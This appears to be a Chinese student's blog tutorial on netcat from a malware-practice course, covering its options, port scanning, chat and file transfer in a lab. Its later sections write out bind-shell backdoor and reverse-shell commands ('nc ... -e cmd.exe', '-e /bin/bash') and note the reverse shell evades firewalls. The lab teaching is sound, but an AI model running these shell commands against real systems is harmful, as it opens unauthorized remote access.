zoukankan      html  css  js  c++  java
  • 计算机病毒实践汇总四:netcat使用方法

    在尝试学习分析的过程中,判断结论不一定准确,只是一些我自己的思考和探索。敬请批评指正!

    1. netcat概述

    (1)特性

    • “TCP/IP协议栈瑞士军刀”,可以被用在支持端口扫描、隧道、代理、端口转发等的对外连接上。

    • 从标准输入得到数据进行网络传输,它得到的数据可以通过标准输出显示到屏幕上。

    • 连接模式下,作为一个客户端:

        nc [-options] hostname [ports]
      
    • 监听模式下,充当一个服务器:

        nc -l -p port [-options] [hostname] [port]
      

    (2)常用参数

    options描述
    -d无命令行界面,使用后台模式
    -e [prog]程序重定向
    -g [gateway]源路由跳跃点, 不超过8
    -G [num]源路由指示器: 4, 8, 12, ...
    -h 获取帮助信息
    -i [secs]延时设置,端口扫描时使用
    -l监听知道NetCat被结束(可断开重连)
    -L无命令行界面,使用后台模式
    -n 以数字形式表示的IP地址
    -o [file]使进制记录
    -p [port]打开本地端口
    -r 随机本地和远程的端口
    -s [addr]本地源地址
    -t以TELNET的形式应答入站请求
    -uUDP 模式
    -v/-vv显示详细信息
    -w [secs]连接超时设置
    -z I/O 模式(扫描时使用)

    2. 简单命令

    • 可以将nc.exe所在目录放进Path中,方便调用

    (1)作为客户端

    nc -v [ip] [port]
    
    • 扫瞄某IP的某个端口,返回信息详细输出。

    nc -v -z [ip] [port]-[port]
    
    • 扫描某IP的端口到某端口,返回信息详细输出,但扫描速度较慢

    • 使用netcat可以进行端口扫描。但是Netcat并不是这个工作的最佳工具,可以使用一个更高级的工具:nmap。

    nc -nvv [ip] [port] 
    
    • 连接到某ip主机的指定端口(需开放)。

    (2)作为服务器

    nc -l -p 80
    
    • 开启本机的TCP的80端口并监听。

    3. 使用netcat实现特定功能

    (1)聊天功能

    • 双方一个做服务器,一个做客户端。

    • 服务器首先开启一个端口进行监听:

        nc -l -p [port]
      
    • 然后客户端进行连接:

        nc [服务器ip] [port]
      
    • 此时,双方的输入都会显示在对方机器上:

      • 服务器端:

      • 客户端:

    (2)文件传输

    • 双方一个做服务器,一个做客户端。

    • 在服务器上创建并且重定向netcat的输入为待传输文件hyqServer.txt,那么当任何成功连接到该端口,netcat会发送文件内容。

        nc -l -p [port] < [待发送文件名]
      

    • 在客户端我们重定向输出到hyqClient.txt,当连接到服务器端时,服务器端发送文件内容,客户端保存文件内容到当前目录下的指定文件中。

        nc -n [服务器ip] [port] > [待保存文件名]
      

    • 比较两个文件:

    • 由于服务器端使用Linux操作系统,服务器端使用Windows操作系统,对于换行符的解释不通,导致格式不同。但内容没有更改,是完整的。

    (3)打开一个Shell

    • 实际上,Netcat更多的用于后门程序。

    • WinXP作为服务器,开启监听80端口,并选用-v显示详细信息, –e选项指向cmd.exe程序。

        nc -lv -p [port] -e cmd.exe
      
    • 若为Linux系统,可以写做:

        nc -lv -p [port] -e /bin/bash
      
    • 此时,只要有人在所监听的80端口上建立连接,该程序都将执行,并将输出传输出去,即开启了一个后门。

    • 我们可以在kali(作为客户端)中使用IP和相应端口连接WinXP,成功后可以看到输入变成了cmd的模式:

        nc -vv [ip] [port]
      

    • 可以查看到WinXP的目录:

    • 可以进行删除操作:

    • 删除netcat文件夹中的Readme.txt文件:

    • 在WinXP中查看,确实被删除了:

    (4)反向Shell

    • 反向shell是指在客户端打开的shell,可以用来绕过防火墙的限制。

    • 使用kali作为服务端打开端口监听:

        nc -l -p [port]
      
    • WinXP作为客户端打开相同的端口并将程序重定向到命令行:

        nc [ip] [port] -e cmd.exe
      
    • 若客户端为Linux系统,则:

        nc [ip] [port] -e /bin/bash
      
    • 在客户端显示连接上了开放端口5317:

    • 此时,Linux中会反弹回客户端的shell,并可进行操作:

    4. 小结

    • 本来是病毒实践用于尝试分析的工具,虽然没有深度使用这个工具,但是我觉得这个工具本身的功能很多,如果结合自己编写的脚本应该会更能体现其价值。
    • nc是麻雀虽小,五脏俱全,这一特点有好处,也有不足。它优势在于对没有更高要求的简单环境中可以实现多功能。劣势在于每一方面的功能其实都有相应的专门的软件,而这些专门的软件做的比它的功能更强大和深入,就比如端口扫描,我觉得它的性能就不如nmap。

    参考资料

    参考资料1:NetCat使用介绍
    参考资料2:nc 高级使用教程简介
    参考资料3:Linux系统中使用netcat命令的奇技淫巧
    参考资料4:NetCat代码分析

  • 相关阅读:
    jackson自动将东八区时间转成标准时间
    开发项目和所用时间 感想
    自我介绍
    后缀数组模板
    lucas模板
    后缀数组da3模板
    cf#366....
    第1月2周1天
    第1月2周2天
    第1月1周1天
  • 原文地址:https://www.cnblogs.com/hyq20135317/p/5491298.html
Copyright © 2011-2022 走看看